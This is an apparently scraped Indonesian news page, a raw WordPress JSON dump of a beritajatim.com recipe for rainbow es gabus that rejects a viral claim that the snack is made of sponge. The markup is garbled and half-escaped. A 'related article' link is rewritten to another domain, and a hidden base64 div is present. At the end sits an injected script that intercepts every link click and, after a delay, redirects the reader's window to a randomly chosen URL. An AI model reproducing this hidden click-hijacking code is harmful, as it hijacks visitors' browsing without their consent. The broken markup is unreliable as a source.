<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body><p>{"id":1469638,"date":"2026-01-29T10:02:27","date_gmt":"2026-01-29T03:02:27","guid":{"rendered":"https:\/\/beritajatim.com\/?p=1469638"},"modified":"2026-01-29T09:18:47","modified_gmt":"2026-01-29T02:18:47","slug":"resep-es-gabus-pelangi-pakai-bahan-ini-untuk-tekstur-mirip-spons","status":"publish","type":"post","link":"https:\/\/beritajatim.com\/resep-es-gabus-pelangi-pakai-bahan-ini-untuk-tekstur-mirip-spons","title":{"rendered":"Resep Es Gabus Pelangi: Pakai Bahan Ini Untuk Tekstur Mirip Spons"},"content":{"rendered":"</p><p><strong>Surabaya (berirajatim.com) \u2014 &lt;\/strong&gt;Belakangan ini, es gabus kembali menjadi perbincangan hangat di media sosial. Jajanan tradisional yang identik dengan warna-warni cerah dan rasa manis ini viral bukan karena nostalgia, melainkan akibat tudingan negatif.&lt;\/p&gt;\n<p>Seorang penjual es gabus dituding menggunakan bahan tidak layak konsumsi, yakni terbuat dari spons. Tuduhan ini mencuat setelah sebuah video memperlihatkan seorang perempuan mencurigai lantaran es gabus yang dibelinya tidak hancur meski telah diperas. Hal ini pun memunculkan dugaan bahwa jajanan tersebut terbuat dari spons.&lt;\/p&gt;\n</p><p>Isu tersebut pun memicu keresahan di masyarakat. Banyak yang mempertanyakan, apakah es gabus benar-benar aman dikonsumsi? dan bahan apa yang sebenarnya digunakan hingga teksturnya seperti spons?&lt;\/p&gt;\n</p><p><strong>Apa Itu Es Gabus dan Mengapa Teksturnya Unik?&lt;\/strong&gt;&lt;\/p&gt;\n<p>Es gabus merupakan jajanan legendaris yang populer sejak era 1990-an. Nama \u201cgabus\u201d sendiri merujuk pada teksturnya yang empuk, ringan, dan sedikit berpori, mirip gabus. Namun, tekstur ini bukan berasal dari spons, melainkan dari penggunaan tepung hunkwe (tepung kacang hijau) yang dimasak dengan teknik tertentu.&lt;\/p&gt;\n</p><p>Tepung hunkwe memang dikenal mampu menghasilkan tekstur lembut, kenyal, dan sedikit elastis ketika dimasak dan dibekukan. Jika dibuat dengan benar, hasil akhirnya akan terasa padat namun mudah digigit, itulah ciri khas es gabus asli.&lt;\/p&gt;\n</p><p><strong><div style='\"clear:both;' margin-top:0em margin-bottom:1em><a href="https://bloso.top/news/info-https-%5C%22https:%5C/%5C/beritajatim.com%5C/ayam-rolade-dan-penasaran-menu-resep-jitu-mbg-bondowoso-dongkrak-kehadiran-siswa-100-persen%5C%22" target='\"_self\"' rel='\"dofollow\"' class='\"uca1f130d07347735e267ce3fca3fd3ed\"'><style> .uca1f130d07347735e267ce3fca3fd3ed { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #D35400!important; text-decoration:none; } .uca1f130d07347735e267ce3fca3fd3ed:active, .uca1f130d07347735e267ce3fca3fd3ed:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .uca1f130d07347735e267ce3fca3fd3ed { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .uca1f130d07347735e267ce3fca3fd3ed .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .uca1f130d07347735e267ce3fca3fd3ed .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .uca1f130d07347735e267ce3fca3fd3ed:hover .postTitle { text-decoration: underline!important; } <\/style><div style=\"padding-left:1em; padding-right:1em;\"><span class=\"ctaText\">Baca Juga:<\/span>&nbsp; <span class=\"postTitle\">Ayam Rolade dan Penasaran Menu: Resep Jitu MBG Bondowoso Dongkrak Kehadiran Siswa 100 Persen<\/span><\/div><\/a><\/div><\/strong><\/p>\n<p><strong>Bahan Membuat Es Gabus Pelangi<\/strong><\/p>\n<p>Bagi masyarakat yang ingin memastikan keamanan dan kualitas jajanan ini, membuat es gabus sendiri di rumah bisa menjadi solusi. Berikut bahan-bahan yang digunakan untuk membuat es gabus pelangi dengan tekstur lembut dan aman:<\/p>\n<p>-200 gram tepung hunkwe<br \/>\n-200 gram gula pasir<br \/>\n-1 bungkus santan instan<br \/>\n-1 bungkus vanili bubuk<br \/>\n-\u00bd sendok teh garam<br \/>\n-Pewarna makanan merah, kuning, dan hijau<br \/>\n-Plastik atau loyang datar<\/p>\n<p>Semua bahan di atas mudah ditemukan di pasar tradisional maupun swalayan dan telah umum digunakan dalam berbagai resep kue tradisional Indonesia.<\/p>\n<p><strong>Cara Membuat Es Gabus Pelangi <\/strong><\/p>\n<p>1. Campurkan tepung hunkwe, gula pasir, garam, santan instan, dan vanili ke dalam satu wadah. Aduk hingga semua bahan tercampur rata dan tidak menggumpal.<\/p>\n<p>2. Bagi adonan menjadi tiga bagian di wadah terpisah, lalu tambahkan pewarna merah, kuning, dan hijau sesuai selera.<\/p>\n<p>3. Masak setiap adonan secara bergantian di atas api sedang sambil terus diaduk hingga mengental dan meletup-letup.<\/p>\n<p>4. Tuang adonan panas ke dalam loyang atau cetakan secara berlapis agar menghasilkan efek pelangi.<\/p>\n<p>5. Diamkan adonan di suhu ruang selama kurang lebih 30 menit hingga uap panasnya hilang.<\/p>\n<p>6. Setelah itu, masukkan ke dalam kulkas selama 15 menit agar adonan mulai mengeras.<\/p>\n<p>7. Keluarkan, potong sesuai ukuran yang diinginkan, lalu susun dalam plastik.<\/p>\n<p>8. Simpan di freezer hingga benar-benar beku. Es gabus pelangi siap disajikan.<\/p>\n<p>Tekstur es gabus yang menyerupai spons bukanlah tanda penggunaan bahan berbahaya, melainkan hasil dari proses pengolahan tepung hunkwe yang tepat. Dengan bahan sederhana dan cara pembuatan yang benar, es gabus tetap menjadi jajanan aman, lezat, dan penuh nostalgia. Membuatnya sendiri di rumah tidak hanya menjamin kebersihan, tetapi juga mengembalikan kepercayaan terhadap kuliner tradisional Indonesia. (fyi)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Belakangan ini, es gabus kembali menjadi perbincangan hangat di media sosial. Jajanan tradisional yang identik dengan warna-warni cerah dan rasa manis ini viral bukan karena nostalgia, melainkan akibat tudingan negatif.<\/p>\n","protected":false},"author":75,"featured_media":1469639,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[41625],"tags":[390862,390865,390863,390864,37411,69277,433],"gn_keywords":[390869,390868,390870,390867,390866],"class_list":["post-1469638","post","type-post","status-publish","format-standard","has-post-thumbnail","category-ragam","tag-es-gabus-pelangi","tag-hunkwe","tag-jajanan-legendaris","tag-jajanan-manis","tag-resep","tag-spons","tag-viral"],"acf":[],"aioseo_notices":[],"distributor_meta":false,"distributor_terms":false,"distributor_media":false,"distributor_original_site_name":"beritajatim.com","distributor_original_site_url":"https:\/\/beritajatim.com","push-errors":false,"_links":{"self":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts\/1469638","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/users\/75"}],"replies":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/comments?post=1469638"}],"version-history":[{"count":0,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts\/1469638\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/media\/1469639"}],"wp:attachment":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/media?parent=1469638"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/categories?post=1469638"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/tags?post=1469638"},{"taxonomy":"gn_keywords","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/gn_keywords?post=1469638"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}</style></a></div></strong></p></strong></p></strong></p><script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
